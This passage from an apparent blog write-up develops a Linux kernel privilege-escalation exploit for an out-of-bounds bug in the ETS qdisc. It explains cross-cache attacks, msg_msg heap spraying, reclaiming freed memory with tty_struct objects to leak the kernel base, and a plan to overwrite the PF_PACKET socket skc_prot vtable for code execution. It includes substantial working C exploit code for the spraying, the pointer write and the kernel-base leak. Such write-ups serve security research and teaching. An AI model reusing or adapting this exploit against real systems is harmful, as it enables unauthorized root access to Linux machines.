		<span class="n">qdisc_put</span><span class="p">(</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">classes</span><span class="p">[</span><span class="n">band</span><span class="p">].</span><span class="n">qdisc</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Both of these use <code class="language-plaintext highlighter-rouge">nbands</code> to free or delete or reset class qdiscs and the class <code class="language-plaintext highlighter-rouge">alist</code>s, and performing this OOB leads to a null deref in my experience. This is especially problematic because as we’ll see soon a fundamental part of our write primitive involves resetting the qdisc state so we can pass the <code class="language-plaintext highlighter-rouge">first</code> check in <code class="language-plaintext highlighter-rouge">ets_qdisc_enqueue</code> and trigger the primitive. With no way (I found) to restore the nbands variable to its sane state I moved on to some other method that didn’t require corrupting the qdisc - at least not anymore than we already do. That’s not to say there isn’t a way to do this using the corrupted nbands – its used quite a bit, and it could be a good exercise if you’re in a similar place to me and looking for a bug to POC.</p>

<h3 id="far-too-many-cross-cache-attacks">Far too many cross cache attacks</h3>

<p>My next port of call as it appears to be for many a’ exploit dev is cross cache. What if we were to write the <code class="language-plaintext highlighter-rouge">alist</code> ptr somewhere in memory, and then free the qdisc? Since the ptr still refers to the qdisc allocation this would cause a UAF (lol). So what can we do? This is something I especially struggled with due to the yawning abyss of possible approaches here: a qdisc comes from kmalloc-2k, and we have its address, so what do we do? Theres a… <strong>teeny tiny lil</strong> amount of potential objects we can use, just enough to drive you absolutely insane. When in doubt, cross cache in to a cg cache, baby.</p>

<p>I’ll not explain cross cache here, but there’s a lot of <a href="https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/#crossing-the-cache-boundary">really really great material</a> that covers the process. I hate to banish you to another blog and lose you forever but give some of it a read and come back later (please). You’ll thank me.</p>

<p>Doing this cross cache would upgrade our kmalloc-2k leak to a kmalloc-cg-2k leak. Using this we can do some funny stuff. One of the first things that occurred to me is writing our pointer into the <code class="language-plaintext highlighter-rouge">next</code> segment of a <code class="language-plaintext highlighter-rouge">msg_msg</code>. So the process would be:</p>

<ul>
  <li>Add a qdisc, get a leak for this allocation</li>
  <li>Release and cross cache the qdisc page to cg-2k</li>
  <li>Add yet another qdisc
    <ul>
      <li>So we can use the write primitive</li>
    </ul>
  </li>
  <li>Write the pointer into one of the <code class="language-plaintext highlighter-rouge">msg_msg-&gt;next</code> from our cross cache spray.</li>
  <li>Receive the message.</li>
  <li>Profit???</li>
</ul>

<p>It wasn’t gonna be that easy, though. Given the properties of <code class="language-plaintext highlighter-rouge">alist</code> and the current state of the qdisc, the pointer we write just points to itself. So even if we <code class="language-plaintext highlighter-rouge">MSG_COPY</code> a message (non-destructively fetching it from the queue rather than freeing it) we will still crash as <code class="language-plaintext highlighter-rouge">copy_msg</code> simply copies data while the <code class="language-plaintext highlighter-rouge">next</code> is populated. Bleh.</p>

<p>So the next idea I had was to release the other qdisc as well and replace that with another object, making the ptr written into <code class="language-plaintext highlighter-rouge">msg_msg-&gt;next</code> stale. Given the range of possibilities with kmalloc-2k this again kind of drove me insane. So… Cross cache party time again? I cant really say my exploit is optimal as it probably would’ve been easier to systematically search for an object in 2k which contains a kernel image ptr and NOT cross cache again, but I aint changing it now :P. Good luck.</p>

<h3 id="structive-feedback">Struct’ive feedback</h3>

<p>I’m just putting whatever the hell I want as the section headers now. Mhm.</p>

<p>So what did I have in mind? <code class="language-plaintext highlighter-rouge">tty_struct</code>s. This is <a href="https://github.com/smallkirby/kernelpwn/blob/master/technique/tty_struct.md">pretty well documented</a>, but the gist is they have some juicy pointers in we can use to get the kernel base address. <code class="language-plaintext highlighter-rouge">sizeof(struct tty_struct)</code> is 0x290 (656), so these will go squarely in the kmalloc-cg-1k cache. One small problem with this is we cant really cross cache spray to reclaim our page with <code class="language-plaintext highlighter-rouge">tty_struct</code> as there seems to be a pretty sensible (god i know) limit on the amount of these we can allocate. Solution? Spray <code class="language-plaintext highlighter-rouge">msg_msg</code> instead, of course. There’s not a single problem that cant be solved with excessive spraying of <code class="language-plaintext highlighter-rouge">msg_msg</code>.</p>

<p>The idea is:</p>
<ol>
  <li>Create another qdisc, get leaks from it (again)</li>
  <li>Spray <code class="language-plaintext highlighter-rouge">msg_msg</code> to get the slab where our controlled msg segment was
    <ul>
      <li>Now we entirely control the <code class="language-plaintext highlighter-rouge">next</code> segment of the original message with arbitrary data</li>
    </ul>
  </li>
  <li>Loop through the sprayed messages until the received (<code class="language-plaintext highlighter-rouge">MSG_COPY</code>d, of course) data in the <code class="language-plaintext highlighter-rouge">next</code> segment matches what we sprayed in 2.
    <ul>
      <li>Now we’ve found our controlled message</li>
    </ul>
  </li>
  <li>Free the controlled message</li>
  <li>Spray <code class="language-plaintext highlighter-rouge">tty_struct</code>s</li>
  <li>With any luck, the <code class="language-plaintext highlighter-rouge">next</code> segment ptr of our old <code class="language-plaintext highlighter-rouge">msg_msg</code> now points into a <code class="language-plaintext highlighter-rouge">tty_struct</code>.</li>
</ol>

<p>This worked pretty well for the most part - excluding an alarming caveat that came later on. The code for this spraying and reclaiming follows.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1">// Writing the pointer and stuff...</span>
  <span class="c1">// ...</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">MSG_SPRAY</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Release and immediately reclaim the messages we are sending.</span>
    <span class="c1">// This means when we break we free the correct msg and can then</span>
    <span class="c1">// just grab it and do whatever we want with it being free.</span>
    <span class="n">mrecv</span> <span class="o">=</span> <span class="n">recv_msg</span><span class="p">(</span><span class="n">qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">COMP_SZ_MAX</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">mrecv</span><span class="p">[</span><span class="mi">8</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'\x41'</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"[!] Found: %d....</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
      <span class="n">dumph</span><span class="p">(</span><span class="n">mrecv</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">,</span> <span class="sc">' '</span><span class="p">);</span>
      <span class="n">qdisc_ptr_leak</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">mrecv</span><span class="p">[</span><span class="mi">8</span><span class="p">]);</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">send_msg</span><span class="p">(</span><span class="n">qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">COMP_SZ_MAX</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">mrecv</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">qdisc_ptr_leak</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// We will likely just crash here regardless lol</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[!] Cross cache failed lol. Retry</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">free</span><span class="p">(</span><span class="n">mrecv</span><span class="p">);</span>

  <span class="c1">// ...</span>
  
  <span class="c1">// Hit the `next` ptr of controlled msg</span>
  <span class="n">do_ptr_write</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">quant</span> <span class="o">-</span> <span class="mh">0x180</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">sock_fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dest_addr</span><span class="p">);</span>
  
  <span class="c1">// ...</span>
  <span class="c1">// Cross cache stuff</span>
  <span class="c1">// ...</span>
  
  <span class="c1">// Need to be able to identify each msg</span>
  <span class="p">{</span>
    <span class="kt">int</span> <span class="n">msgsz</span> <span class="o">=</span> <span class="n">NEW_SPRAY_SZ</span><span class="p">;</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">msgtxt</span> <span class="o">=</span> <span class="n">msg1</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">spray_n</span> <span class="o">=</span> <span class="n">MSG_SPRAY</span> <span class="o">*</span> <span class="mi">2</span><span class="p">;</span>
    <span class="kt">int</span> <span class="o">*</span><span class="n">qstore</span> <span class="o">=</span> <span class="n">qid1</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">qidn</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="n">socklen_t</span> <span class="n">len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">mbuf</span><span class="p">[</span><span class="n">msgsz</span> <span class="o">+</span> <span class="n">MSGSZ</span><span class="p">];</span>
    <span class="k">struct</span> <span class="n">msgbuf</span> <span class="o">*</span><span class="n">msg</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">msgbuf</span> <span class="o">*</span><span class="p">)</span><span class="n">mbuf</span><span class="p">;</span>
    <span class="n">msgsz</span> <span class="o">-=</span> <span class="p">(</span><span class="n">MSGSZ</span><span class="p">);</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="n">msg</span><span class="o">-&gt;</span><span class="n">mtext</span><span class="p">,</span> <span class="n">msgtxt</span><span class="p">,</span> <span class="n">msgsz</span><span class="p">);</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="n">spray_n</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">msg</span><span class="o">-&gt;</span><span class="n">mtype</span> <span class="o">=</span> <span class="n">MSG_SPRAY</span> <span class="o">+</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
      <span class="n">qidn</span> <span class="o">=</span> <span class="n">qstore</span><span class="p">[</span><span class="n">j</span><span class="p">];</span>
      <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">msg</span><span class="o">-&gt;</span><span class="n">mtext</span><span class="p">[</span><span class="mh">0x188</span> <span class="o">-</span> <span class="mh">0x30</span><span class="p">])</span> <span class="o">=</span> <span class="n">MSG_SPRAY</span> <span class="o">+</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">msgsnd</span><span class="p">(</span><span class="n">qidn</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">msgsz</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"j: %d</span><span class="se">\t</span><span class="s">qid: %d</span><span class="se">\t</span><span class="s">msgsz: 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">qidn</span><span class="p">,</span> <span class="n">msgsz</span><span class="p">);</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"msgsnd lol"</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"[!] Receiving..."</span><span class="p">);</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">mrecv1</span> <span class="o">=</span> <span class="n">recv_msg_CPY</span><span class="p">(</span><span class="n">qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">NEWCOMPSZ</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="kt">uint64_t</span> <span class="n">seg_idx</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">mrecv1</span><span class="p">[</span><span class="n">MSGMSGSZ</span> <span class="o">+</span> <span class="mi">8</span><span class="p">]);</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"[*] Controlled seg idx: 0x%lx -&gt; 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">seg_idx</span><span class="p">,</span>
         <span class="n">seg_idx</span> <span class="o">-</span> <span class="p">(</span><span class="n">MSG_SPRAY</span> <span class="o">+</span> <span class="mi">1</span><span class="p">));</span>

  <span class="n">seg_idx</span> <span class="o">-=</span> <span class="p">(</span><span class="n">MSG_SPRAY</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
  <span class="n">free</span><span class="p">(</span><span class="n">mrecv1</span><span class="p">);</span>
  <span class="n">mrecv1</span> <span class="o">=</span> <span class="n">recv_msg</span><span class="p">(</span><span class="n">qid1</span><span class="p">[</span><span class="n">seg_idx</span><span class="p">],</span> <span class="n">NEW_SPRAY_SZ</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="n">dumph</span><span class="p">(</span><span class="n">mrecv1</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="sc">' '</span><span class="p">);</span>
  <span class="n">free</span><span class="p">(</span><span class="n">mrecv1</span><span class="p">);</span>

  <span class="c1">// Need moar raaaagh</span>
  <span class="kt">int</span> <span class="n">spray_socks</span><span class="p">[</span><span class="mh">0x200</span> <span class="o">-</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">+</span> <span class="mh">0x50</span><span class="p">];</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">spray_socks</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">spray_socks</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">((</span><span class="n">spray_socks</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/dev/ptmx"</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_NOCTTY</span><span class="p">))</span> <span class="o">&lt;=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"i: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
      <span class="n">perror</span><span class="p">(</span><span class="s">"tty_struct spray open"</span><span class="p">);</span>
      <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>

  <span class="n">mrecv1</span> <span class="o">=</span> <span class="n">recv_msg_CPY</span><span class="p">(</span><span class="n">qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">NEWCOMPSZ</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="k">const</span> <span class="kt">int</span> <span class="n">subtract</span> <span class="o">=</span> <span class="p">(</span><span class="mi">5</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">-</span> <span class="mi">8</span><span class="p">;</span>
  <span class="n">dumph</span><span class="p">(</span><span class="o">&amp;</span><span class="n">mrecv1</span><span class="p">[</span><span class="n">NEWCOMPSZ</span> <span class="o">-</span> <span class="p">(</span><span class="n">subtract</span><span class="p">)],</span> <span class="n">subtract</span><span class="p">,</span> <span class="sc">' '</span><span class="p">);</span>
  <span class="kt">uint64_t</span> <span class="n">do_tty_hangup</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">mrecv1</span><span class="p">[</span><span class="n">NEWCOMPSZ</span> <span class="o">-</span> <span class="p">(</span><span class="n">subtract</span><span class="p">)]);</span>
  <span class="n">kbase</span> <span class="o">=</span> <span class="n">do_tty_hangup</span> <span class="o">-</span> <span class="mh">0xadde80</span><span class="p">;</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"[*] Kbase: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kbase</span><span class="p">);</span>
  <span class="n">free</span><span class="p">(</span><span class="n">mrecv1</span><span class="p">);</span>

</code></pre></div></div>

<p>We end up embedding the <code class="language-plaintext highlighter-rouge">seg_idx</code> of the controlled message into the message itself so we know exactly which message it is, which we then release.</p>

<p>Very VERY luckily the <code class="language-plaintext highlighter-rouge">tty_struct</code> data overlapping <code class="language-plaintext highlighter-rouge">next-&gt;next</code> was null, otherwise this wouldn’t have worked at all. That’s become a theme with this exploit I feel. So with leaks acquired what comes next? Time travel, of course. The issue now is we wrote a single pointer, overwriting the <code class="language-plaintext highlighter-rouge">next</code> ptr of an old <code class="language-plaintext highlighter-rouge">msg_msg</code>, however in order to do more with this primitive we would need to re-do the whole process again, from the qdisc allocation to the cross cache and subsequent spraying to control the backing data this would all be quite annoying.</p>

<p>My idea ended up being to write our pointer value twice, once in <code class="language-plaintext highlighter-rouge">msg_msg</code>, and another in a very different location.</p>

<h3 id="pf_packet-and-other-miracles">PF_PACKET and other miracles</h3>

<p>The object I had chosen to spray throughout the exploit was sockets – not without good reason as they are quite bountiful (much more so than <code class="language-plaintext highlighter-rouge">tty_struct</code>). Some sockets, like <code class="language-plaintext highlighter-rouge">PF_NETLINK</code> end up in kmalloc-2k when allocated, however most don’t. Many sockets have their own dedicated cache - for example AF_UNIX goes into the <code class="language-plaintext highlighter-rouge">UNIX</code> cache, <code class="language-plaintext highlighter-rouge">AF_VSOCK</code>, of course, goes into <code class="language-plaintext highlighter-rouge">AF_VSOCK</code>. I ended up deciding to target socket objects for achieving code execution as I had previously written an exploit following <a href="https://hoefler.dev/articles/vsock.html">hoefler’s vsock post</a> and it had been a very smooth process. But for this to work I would need to reliably know the location of a socket object, so ideally it would have to land in kmalloc-2k - in range of our qdisc.</p>

<p>Enter stage right, <code class="language-plaintext highlighter-rouge">PF_PACKET</code>. This specific socket kind ends up in kmalloc-2k. So why and how can this object be leveraged for code execution? All <code class="language-plaintext highlighter-rouge">struct sock</code>s have a certain member, <code class="language-plaintext highlighter-rouge">skc_prot</code> (residing in <code class="language-plaintext highlighter-rouge">struct sock_common</code>). This essentially acts as a family specific vtable of functions for stuff you can do on that socket.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* offset      |    size */</span>  <span class="n">type</span> <span class="o">=</span> <span class="k">struct</span> <span class="n">proto</span> <span class="p">{</span>
<span class="cm">/*      0      |       8 */</span>    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">close</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="kt">long</span><span class="p">);</span>
<span class="cm">/*      8      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">pre_connect</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
<span class="cm">/*     16      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">connect</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
<span class="cm">/*     24      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">disconnect</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
<span class="cm">/*     32      |       8 */</span>    <span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="n">accept</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="p">,</span> <span class="n">bool</span><span class="p">);</span>
<span class="cm">/*     40      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">ioctl</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*     48      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*     56      |       8 */</span>    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">destroy</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*     64      |       8 */</span>    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">shutdown</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
<span class="cm">/*     72      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">setsockopt</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">sockptr_t</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span><span class="p">);</span>
<span class="cm">/*     80      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">getsockopt</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*     88      |       8 */</span>    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">keepalive</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
<span class="cm">/*     96      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">compat_ioctl</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span><span class="p">);</span>
<span class="cm">/*    104      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">sendmsg</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="k">struct</span> <span class="n">msghdr</span> <span class="o">*</span><span class="p">,</span> <span class="kt">size_t</span><span class="p">);</span>
<span class="cm">/*    112      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">recvmsg</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="k">struct</span> <span class="n">msghdr</span> <span class="o">*</span><span class="p">,</span> <span class="kt">size_t</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*    120      |       8 */</span>    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">splice_eof</span><span class="p">)(</span><span class="k">struct</span> <span class="n">socket</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*    128      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">bind</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
<span class="cm">/*    136      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">bind_add</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
<span class="cm">/*    144      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">backlog_rcv</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*    152      |       8 */</span>    <span class="n">bool</span> <span class="p">(</span><span class="o">*</span><span class="n">bpf_bypass_getsockopt</span><span class="p">)(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>
								<span class="c1">// [1]</span>
<span class="cm">/*    160      |       8 */</span>    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">release_cb</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*    168      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">hash</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*    176      |       8 */</span>    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">unhash</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*    184      |       8 */</span>    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rehash</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*    192      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">get_port</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">short</span><span class="p">);</span>
<span class="cm">/*    200      |       8 */</span>    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">put_port</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">);</span>
<span class="cm">/*    208      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">psock_update_sk_prot</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sk_psock</span> <span class="o">*</span><span class="p">,</span> <span class="n">bool</span><span class="p">);</span>
<span class="cm">/*    216      |       4 */</span>    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">inuse_idx</span><span class="p">;</span>
<span class="cm">/* XXX  4-byte hole      */</span>
<span class="c1">// IRRELEVENT STUFF</span>
<span class="cm">/*    448      |       8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">diag_destroy</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">);</span>

                               <span class="cm">/* total size (bytes):  456 */</span>
                             <span class="p">}</span>
</code></pre></div></div>

<p>Sidenote god I love pahole so much.</p>

<p>The <code class="language-plaintext highlighter-rouge">release_cb</code> member of this structure is used (shocker incoming) when releasing the socket. It takes care of family specific destruction. So if you invoke <code class="language-plaintext highlighter-rouge">close(my_sock_xd);</code> this may call <code class="language-plaintext highlighter-rouge">release_cb</code>. The reason I say <em>may</em> is because when I tried this with netlink sockets there was absolutely nothing, so its not guaranteed, other destruction stuff may be used – another reason why packet sockets are cool. So… What you’re saying is there’s a vtable… And we can write a pointer… And this pointer can be backed by entirely user controlled data (bcuz kmalloc-cg-1k)… Hmmm…..</p>

<p>Why the hell did libc have to go and start validating IO vtables man why cant everything be as easy as this.
										<em>_codecvt will remember that</em></p>

